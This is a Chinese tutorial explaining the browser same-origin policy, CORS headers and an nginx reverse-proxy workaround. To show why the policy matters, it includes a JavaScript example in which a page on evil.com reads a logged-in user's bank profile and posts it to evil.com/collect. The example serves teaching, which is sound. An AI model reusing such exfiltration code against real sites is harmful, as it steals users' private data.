浏览器的同源策略以及跨源问题 ( 浏览器的同域策略以及跨域问题)

浏览器的同源策略以及跨源问题

这里的"源"也可称为"域": 浏览器的同域策略以及跨域问题

"源"

源 = 协议 + 主机 + 端口 (如:http://192.168.0.0.1:8080)

"同源"即是指协议、主机、端口三者都完成相同。

与url :http://store.company.com/dir/page.html的源进行比较示例如下:

URL 结果 原因
http://store.company.com/dir2/other.html 同源 只有路径不同
http://store.company.com/dir/inner/another.html 同源 只有路径不同
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同(http:// 默认端口是 80)
http://news.company.com/dir/other.html 失败 主机不同

什么事同源策略?

同源策略(Same-Origin Policy)是浏览器最基础、最重要的安全机制。它规定:只有协议、域名、端口完全相同的两个页面,才能相互访问对方的资源(如 DOM、Cookie、LocalStorage)或发送任意请求并读取响应。

出于安全性,浏览器限制脚本内发起的跨源 HTTP 请求。例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。

浏览器没有同源策略会发生什么?同源策略的作用

  • 攻击前提
  1. 用户已登录 https://bank.com,浏览器保存了该网站的会话 Cookie(比如 SESSIONID=abc123)。

  2. Cookie 未设置 HttpOnly、SameSite 等额外保护(仅为了简化演示)。

  • 攻击步骤(假设没有同源策略)
  1. 用户访问恶意网站 https://evil.com。

  2. evil.com 的页面包含如下 JavaScript:

javascript 复制代码
fetch('https://bank.com/api/user/profile', {
    credentials: 'include'   // 发送 Cookie
})
.then(res => res.json())
.then(userData => {
    // 将用户数据(姓名、余额、身份证号等)发送给攻击者
    fetch('https://evil.com/collect', {
        method: 'POST',
        body: JSON.stringify(userData)
    });
});
  1. 浏览器执行该代码,因为目标域名是 bank.com,请求会自动携带 bank.com 的 Cookie。

  2. 服务器 bank.com 认为请求携带有效会话,返回用户敏感信息(JSON 格式)。

  3. 如果没有同源策略,脚本可以读取这个响应,从而将用户隐私发送到攻击者服务器。

同源策略如何防御?

  • 浏览器的 fetch / XHR 遵循同源策略:允许发送跨域请求,但禁止脚本读取响应。

  • 执行上述代码时,浏览器会检查 bank.com 的响应头中是否包含:

    Access-Control-Allow-Origin: https://evil.com或*(且未携带凭证时)

  • 由于 bank.com 没有返回该头,浏览器会抛出 CORS 错误:

    Access to fetch at 'https://bank.com/api/user/profile' from origin 'https://evil.com' has been blocked by CORS policy.

  • userData 无法获取,敏感信息不会泄露。

补充说明

  • 即使服务器返回了 Access-Control-Allow-Origin: *,如果请求携带了 credentials: 'include'(即 Cookie),浏览器也会拒绝,因为通配符 * 不允许与凭证一起使用。

  • 若要安全地开放跨域读取,服务器必须明确指定具体源,例如:

    Access-Control-Allow-Origin: https://trusted.com

    Access-Control-Allow-Credentials: true

其他作用

跨域资源访问 (CORS)

浏览器有了同源策略的限制,那浏览器还能实现不同源之间的访问吗? 可以!通过跨域资源共享(CORS)来实现

跨源 HTTP 请求的一个例子:运行在 https://domain-a.com 的 JavaScript 代码使用 XMLHttpRequest 来发起一个到 https://domain-b.com/data.json的请求。

CORS是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。

方法一

上面已经提到过了:在 源https://domain-b.com/服务器端配置响应头

Access-Control-Allow-Origin: https://domain-a.com

以允许源 https://domain-a.com访问。

方法二

无法在源https://domain-b.com/服务器完成响应头配置时,可使用nginx反向代理以实现跨域请求。nginx主要配置如下:

复制代码
    server {
        listen       80;
        server_name  localhost;

        #access_log  logs/host.access.log  main;

        location / {
		    proxy_pass https://domain-a.com;
            root   html;
            index  index.html index.htm;
        }
		
		location /proxy/nginx/ {
		    proxy_pass https://domain-b.com/; 
            root   html;
            index  index.html index.htm;
        }
   }

参考:

跨源资源共享(CORS)https://developer.mozilla.org

浏览器的同源策略 https://developer.mozilla.org/

相关推荐
treasure14021 小时前
Django复习笔记(2026年10月)
后端·python·django·api·web·drf
hengdonghui3 天前
Writeup 4 0xGame 2021 - robot
web·ctf·信息泄露·robots.txt
AAA程序技术4 天前
从 DOM 到屏幕:浏览器渲染管线六步拆解
前端·浏览器
AlfredZhao4 天前
理解 iFrame 嵌套的跨域问题
web
hengdonghui10 天前
Writeup 4 CTFHub injection
web·ctf·sql注入·整数型联合查询注入(有回显)
ShineWinsu10 天前
对于JavaScript:操作元素的解析
开发语言·前端·javascript·面试·web·dom·元素
szp200510 天前
Cache API 会丢掉 URL 里的 #:我的 9 个模型分块一直写在同一条缓存上
javascript·浏览器
SoulRoar.12 天前
Armbian 上为虚拟桌面安装 Chromium 浏览器
浏览器·armbian·虚拟显示器
ShineWinsu12 天前
对于JavaScript:JavaScript基础语法的解析
开发语言·前端·javascript·面试·web·基础语法·循环
Summer-Bright12 天前
浏览器成了AI应用的新入口:智能体接管标签页之后,三本账谁买单
人工智能·chatgpt·agent·浏览器·智能体